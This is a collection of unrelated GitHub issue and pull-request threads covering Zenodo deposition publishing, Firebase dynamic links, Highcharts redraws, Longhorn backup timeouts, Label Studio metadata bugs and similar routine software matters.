https://zenodo.org/api/deposit/depositions/4298671/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298673/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298675/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298677/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298679/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298681/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298683/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298685/actions/publish?access_token=$ACCESS_TOKEN

hey @johanphilips! sorry, for the delay!

although GET https://zenodo.org/api/deposit/depositions/4298650 is accessible without $ACCESS_TOKEN

no, it's not accessible (at least not to me). I am getting the message You don't have the permission to access the requested resource. It is either read-protected or not readable by the server

if we'd like to keep the drafted depositions and publish them smile I assume this will only work with my personal token

no, we should not use them. I just merged #389 which needed some change for the latex template. If you are ok with it, I'd very much like to do it myself as I processed all the events that went on this website and know about the difficulties they have. Is this okay for you?
Anyway, I think we are good to go with this now, are we? Thank you so much for your support!

Ok, no problem! Go ahead and let me know if you run into issues.

On 2 Dec 2020, at 22:56, Philipp S. Sommer<EMAIL_ADDRESS>wrote:

hey @johanphilips! sorry, for the delay!
although GET https://zenodo.org/api/deposit/depositions/4298650 is accessible without $ACCESS_TOKEN
no, it's not accessible (at least not to me). I am getting the message You don't have the permission to access the requested resource. It is either read-protected or not readable by the server
if we'd like to keep the drafted depositions and publish them smile I assume this will only work with my personal token
no, we should not use them. I just merged #389 which needed some change for the latex template. If you are ok with it, I'd very much like to do it myself as I processed all the events that went on this website and know about the difficulties they have. Is this okay for you?
Anyway, I think we are good to go with this now, are we? Thank you so much for your support!
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or unsubscribe.

alright, I published the PDF files and they are now all accessible via https://zenodo.org/communities/sorse/search?page=1&size=50
There is another test failure in the CI but this is not related to this PR (see https://github.com/SORSE/sorse.github.io/issues/416). So let's merge this. Thanks again very much @johanphilips!

alright, I published the PDF files and they are now all accessible via https://zenodo.org/communities/sorse/search?page=1&size=50
There is another test failure in the CI but this is not related to this PR (see https://github.com/SORSE/sorse.github.io/issues/416). So let's merge this. Thanks again very much @johanphilips!

Cool! You're welcome, glad I could help a little bit 😄

Cool! You're welcome, glad I could help a little bit 😄


Dynamic Links not working when open from facebook (Redirection issue) SwiftUI

I'm using firebase dynamic links for creating links and share it from my app to social media platforms, I tried to share on WhatsApp and messenger and it's working great no problems.
The only exception when trying to open a link from Facebook, it opens the InAppBrowser first after that it's working perfectly some time and show popup to leave the Browser and open app but some time show preview page in case the app already installed. Some time show direct web page which backend team set in the redirection.
Here's the code for sharing and initiate:
func createLinkShare1(dynamicLinksDomainURIPrefix:String,link:URL) {
    let appBundleID = AppInformation.AppBundleId
    if let linkBuilder = DynamicLinkComponents(link: link, domainURIPrefix: dynamicLinksDomainURIPrefix) {
        linkBuilder.navigationInfoParameters = DynamicLinkNavigationInfoParameters()
        linkBuilder.navigationInfoParameters?.isForcedRedirectEnabled = true
        linkBuilder.iOSParameters = DynamicLinkIOSParameters(bundleID: appBundleID)
        linkBuilder.iOSParameters?.appStoreID = AppInformation.AppStoreId
        linkBuilder.iOSParameters?.minimumAppVersion = AppInformation.AppMinimumVersion
        linkBuilder.androidParameters = DynamicLinkAndroidParameters(packageName: appBundleID)
        linkBuilder.androidParameters?.minimumVersion = 0
        linkBuilder.socialMetaTagParameters = DynamicLinkSocialMetaTagParameters()
        linkBuilder.socialMetaTagParameters!.title = "Testing "
        linkBuilder.socialMetaTagParameters!.descriptionText = "Invite You"
        guard let longDynamicLink = linkBuilder.url else {
            print("ERROR in linkBuilder")
            return
        }
        DynamicLinkComponents.shortenURL(longDynamicLink, options: nil) { url, warnings, error in
            if let error = error {
                print("error shortening link: \(error.localizedDescription)")
                return
            }
            if let url = url {
                print("Share Url = ",url)
                return
            }
        }
    }
}

Output:-

iOS 14.5

iPhone X (iOS 15.0.1)

In Second case already app installed, i don't know why the preview page open instead of popup

iPhone XR (iOS 15.1)

Facebook Redirection gif.

Sorry For hidden details.
I have tested with multiple devices and different version. Only the Deep linking working in below iOS15.
Can someone please explain to me how to show popup or deep working as expected in the Facebook case, I've tried to with above code but no results yet.
Any help would be greatly appreciated.
Thanks in advance.

Thanks for reporting, @dhimansham. Per checking, it seems that the Firebase Support team is currently handling and checking your issue. I'll be closing this for now so you can continue getting updates from them. Thanks.


Advanced timeline chart doesn't redraw after AJAX.

After dynamically loading the data, and changing the timeline chart config, the chart doesn't redraw.
The issue seems to be with this chart itself, as other graphs are working fine.
Chart - http://www.highcharts.com/demo/combo-timeline

jsfiddle please

Issue is resolved, it was due to Javascript references. While dynamically updating the object, the original object pointed by the highcharts config gets lost and is not updated.


Evaluate during training

Hi, Is it possible to evaluate during training?

Hi,
For now the repo already includes evaluation on the dev set during training.


Cluster Config UX

Divide up Test, Save and Deploy into three actions.
Test

[ ] Allow the user to test the Kubernetes Data Source before saving and deploying. This often takes a few tries. Save and deploying and gettings lots of errors is not very user friendly.

Save/Deploy

[ ] For some people, it might be convenient to deploy a daemonset from Grafana to K8s. For other people, that might not fit into their automation strategy. Divide into 2 actions and then show how to deploy themselves. We can provide the json files for the daemonset and configmap as well as the command line instructions to deploy them to a cluster.

Divided it up into Save and Test/ Deploy but I want to develop this more before I consider it done.

Fixed by 5cc935169c7807f8cecec9c0938f171b793f19f6


Disable logging of level setting

Hi.
I use this library to log my code. Composed of many classes, I use one logger for each object, and each logger is initialized to a default log level. Thus, launching my app generate way too much WARN messages about the log level being changed (even if in fact I set it from DEBUG to DEBUG). Is there a way to enable/disable these annoying messages or at least making them DEBUG instead of WARN !
Kind regards,
Alexis.

logging.lua   line 114


what is the stride for vgg?

The rpn_stride for resnet is 16, how big is it for vgg?

It is also 16.


How to get MPJVE result?

Thank you for your great job!
but how can i get MPJVE results while testing the model?
btw whats the unit of MPJVE? is it mm?

We use their code to get the MPJVE results https://github.com/facebookresearch/VideoPose3D/blob/1afb1ca0f1237776518469876342fc8669d3f6a9/run.py#L704.
The unit of MPJVE is mm.


modify FileSystemWatcher to ignore files in config.files.exclude or .p4ignore

Should fix #27 and is a good workaround for #62.
Note: this doesn't support multiple file names in P4IGNORE.

@stef-levesque


Using Toast with Material App Or Material Theme

Hi @sunarya-thito, first of all your package is amazing
however i only need a couple of functionalities from it such as using this sonner toast.
however i found a limitation where i have to use ShadcnApp in order to use this toast. and when i use it, i have to submit the Shadcn themes (colors) which contradict my design since we already made our colors and design system
is there a way i can use the toast without all of this ?

i've managed to do it by doing this in the builder
MaterialApp.router(
  debugShowCheckedModeBanner: false,
  routerConfig: appRouter.router,
  theme: MaterialTheme(Theme.of(context).textTheme).light(),
  darkTheme: MaterialTheme(Theme.of(context).textTheme).dark(),
  builder: (context, child) {
    return shad.Theme(
      data: shad.ThemeData(
        colorScheme: shad.ColorSchemes.lightOrange(),
        radius: 0.5,
      ),
      child: shad.ToastLayer(child: child!),
    );
  },
);

I'll come up with something

You can now wrap your scaffold or anything in between MaterialApp and your main content with ShadcnLayer, it provides the basic necessity for this package to run within your app.


Backup deletion timeout and data leftover in blocks

When I was deleting a 7G backup for a volume on longhornUI, which was the only backup for that volume, it sometimes encountered timeout error. The error message was like this :

error deleting backup backup-783c0eba462d4e55 of volume pvc-47a5d92b-984f-11e9-8f17-0eddc8954679: error deleting backup: Timeout executing: /var/lib/rancher/longhorn/engine-binaries/myusername-longhorn-engine-c52956d/longhorn [backup rm nfs://longhorn-test-nfs-svc.default:/opt/backupstore?backup=backup-783c0eba462d4e55&volume=pvc-47a5d92b-984f-11e9-8f17-0eddc8954679], output , stderr, , error

This interrupted the backup deletion process and cause data leftover in blocks, and the volume was still in the backup list with no backup behind it ( #597 ), also there was no option to delete that volume in the backup list on longhornUI as #598 mentioned.

We cannot use a timeout to determine if the deletion completed or not. We need to implement something similar to #49 and #45 and timeout based on the progress movement. If there is no progress at all (no timestamp change) for a certain period of time, we can say it's timed out.

Done


Do not trigger on closed pull-requests and fix to work with issue_comment trigger

Follow-up https://github.com/cupy/cupy/pull/7631

Merging as it doesn't require CIs


Avoid breaking build from 403 errors

https://github.com/ruby/open-uri/blob/master/lib/open-uri.rb

For now, have to avoid adding "private" urls to subscriptions.

Could github: [metadata] be why this is failing in Actions?


⚠ Bofrost.at has degraded performance

In 80df555, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 2113 ms

Resolved: Bofrost.at performance has improved in 30ea575 after 6 minutes.


feat:injection materials is optional list

fixes #765

injection material optional
if list, the list needs to have at list one item

I added tests for None and empty list. It seemed like there was already a test checking the a list with at list one ViralMaterial or NonViralMaterial item, but I can add one in if you were thinking of something in

For the record: in the long run we don't want injection_materials to be optional. If an injection is performed, we need to know what was injected. If we need to make it optional temporarily because we don't have the systems yet, we can do that, but we will need to revert this in the future


Bug in ReactiveSeq::insertAtStream

Occasionally appends the Stream to be inserted as well. Bug seems to be related to use of limitWhile to control whether or not the Stream is also appended in asynchronous streams.

Merged


Metadata of labels cannot be modified

Describe the bug
Metadata of box labels cannot be modified and saved. When I try to change and update it, the label contains the old metadata.
To Reproduce
Steps to reproduce the behavior:

Create a box label
Add metadata (alt+m) e.g. "test1" to label and submit task.
Change the metadata to e.g. "test2" and update.
Bug: label still contains "test1".

Expected behavior
The metadata in should change to "test2".
Environment:

OS: Docker Image 1.12.1
Label Studio Version: v1.12.1

Edit:
I just saw that this is a duplicate of #5314 which is also an open issue.

hey @bernhofer, thanks for making this issue. Closing it because it's a duplicate as you pointed out but definitely please comment on the other issue so we can consolidate all of the issues, the more people who report it, the more priority it will be given


Fix types to be compatible with<EMAIL_ADDRESS>

Fixes:
node_modules/oy-vey/index.d.ts:51:13 - error TS2320: Interface 'OyTDElementAttributes' cannot simultaneously extend types 'TdHTMLAttributes<HTMLTableDataCellElement>' and 'OyElementAttributes'.
  Named property 'align' of types 'TdHTMLAttributes<HTMLTableDataCellElement>' and 'OyElementAttributes' are not identical.

After updating to<EMAIL_ADDRESS>The new version of react type has more precise typing for the align attribute.

Done!

Thank you!


Slider

:tada: This issue has been resolved in version 1.0.0-beta.36 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:

:tada: This issue has been resolved in version 1.0.0-alpha.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


TODO Table Comparison with Classic Vim

It may be helpful to add a feature-by-feature comparison with the original Vim, adding different symbols of progress to assess how far along each portion is.
A short example could be:

Feature Type
ReVim
Vim

Status Bar
⊘
⬤

Autocomplete
⊛
⊘

Highlighting
◔
⬤

File Operations
◑
⬤

Modes
◕
⬤

Welcome Message
⬤
⬤

I added it to the wiki.   Thanks for the awesome suggestion!  Just need to finish filling it out.